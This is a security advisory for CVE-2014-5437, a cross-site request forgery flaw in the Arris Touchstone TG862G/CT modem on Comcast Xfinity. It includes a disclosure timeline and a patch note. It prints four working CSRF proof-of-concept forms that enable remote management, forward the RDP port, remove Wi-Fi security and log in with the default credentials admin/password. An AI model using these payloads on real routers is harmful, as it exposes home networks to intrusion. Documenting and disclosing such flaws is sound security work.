Arris Touchstone TG862G/CT Cross Site Request Forgery

2014.12.17
Credit: Seth Art
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

----------- Vendor: ----------- Arris Interactive, LLC (http://www.arrisi.com/) ISP: Comcast Xfinity ----------------------------------------- Affected Products/Versions: ----------------------------------------- HW: Arris Touchstone TG862G/CT (Xfinity branded) SW: Version 7.6.59S.CT (Tested) ----------------- Description: ----------------- Title: Cross-site Request Forgery (CSRF) CVE: CVE-2014-5437 CWE: CWE-352: http://cwe.mitre.org/data/definitions/352.html Researcher: Seth Art - @sethsec ---------------------------------------------------- POC - Enable remote management: ---------------------------------------------------- <html> <body> <h1>Arris </h1> <form action="http://10.0.0.1/remote_management.php" method="POST"> <input type="hidden" name="http_port" value="8080" /> <input type="hidden" name="http" value="enabled" /> <input type="hidden" name="single" value="any" /> <input type="submit" value="Submit request" /> </form> Sending CSRF Payload!!! </body> </html> ---------------------------------------------- POC - Add port forwarding rule: ---------------------------------------------- <html> <body> <h1> Arris TG862G/CT ? CSRF - Add port forwarding rule</h1> <form action="http://10.0.0.1/port_forwarding_add.php" method="POST"> <input type="hidden" name="common_services" value="other" /> <input type="hidden" name="other_service" value="csrf1" /> <input type="hidden" name="sevice_type" value="1" /> <input type="hidden" name="server_ip_address_1" value="10" /> <input type="hidden" name="server_ip_address_2" value="0" /> <input type="hidden" name="server_ip_address_3" value="0" /> <input type="hidden" name="server_ip_address_4" value="100" /> <input type="hidden" name="start_port" value="3389" /> <input type="hidden" name="end_port" value="3389" /> <input type="submit" value="Submit request" /> </form> Sending CSRF Payload!!! </body> ----------------------------------------------------------- POC - Change wireless network to open: ----------------------------------------------------------- <html> <body> <h1> Arris TG862G/CT ? CSRF ? Change wireless network to open</h1> <form action="http://10.0.0.1/wireless_network_configuration_edit.php" method="POST"> <input type="hidden" name="restore_factory_settings" value="false" /> <input type="hidden" name="channel_sel" value="Manual" /> <input type="hidden" name="channel_num" value="1" /> <input type="hidden" name="ssid" value="csrf" /> <input type="hidden" name="wifi_mode" value="7" /> <input type="hidden" name="security" value="none" /> <input type="hidden" name="channel_selection" value="manual" /> <input type="hidden" name="channel" value="1" /> <input type="hidden" name="save_settings" value="Save Settings" /> </form> Sending CSRF Payload!!! </body> </html> ----------------------------------------------------- POC - Login with default credentials: ----------------------------------------------------- <html> <body> <h1>Arris TG862G/CT - Login CSRF ? Default credentials </h1> <form action="http://10.0.0.1/home_loggedout.php" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="password" /> <input type="submit" value="Submit request" /> </form> Sending CSRF Payload!!! </body> </html> ------------- Solution: ------------- I tested my Comcast Xfinity device on December 10th, 2014 and it is no longer vulnerable (version 7.6.86L.CT). If you have an Arris modem/router, contact your ISP (or Arris) to verify that your firmware has been updated to address this vulnerability... or you could fire up Burp and see for yourself ;) ----------------------------- Disclosure Timeline: ----------------------------- 2014-07-16: Notified Arris of vulnerabilities in TG862G/CT product 2014-07-16: Arris responded and escalated issue to Tier 2 2014-07-17: Arris requested vulnerability details 2014-07-17: Vulnerability report sent to Arris Tier 2 2014-07-18: Arris confirmed receipt and began investigation 2014-08-04: Requested update from Arris 2014-08-05: Arris confirms issue has been escalated to engineering team 2014-08-06: Attended call with Arris to walk through findings 2014-09-18: Notified Arris that CVE-2014-5437 will be used to identify this vulnerability 2014-09-25: December 6th suggested as the disclosure date 2014-10-13: Arris requested disclosure date of December 15th 2014-12-15: Public disclosure


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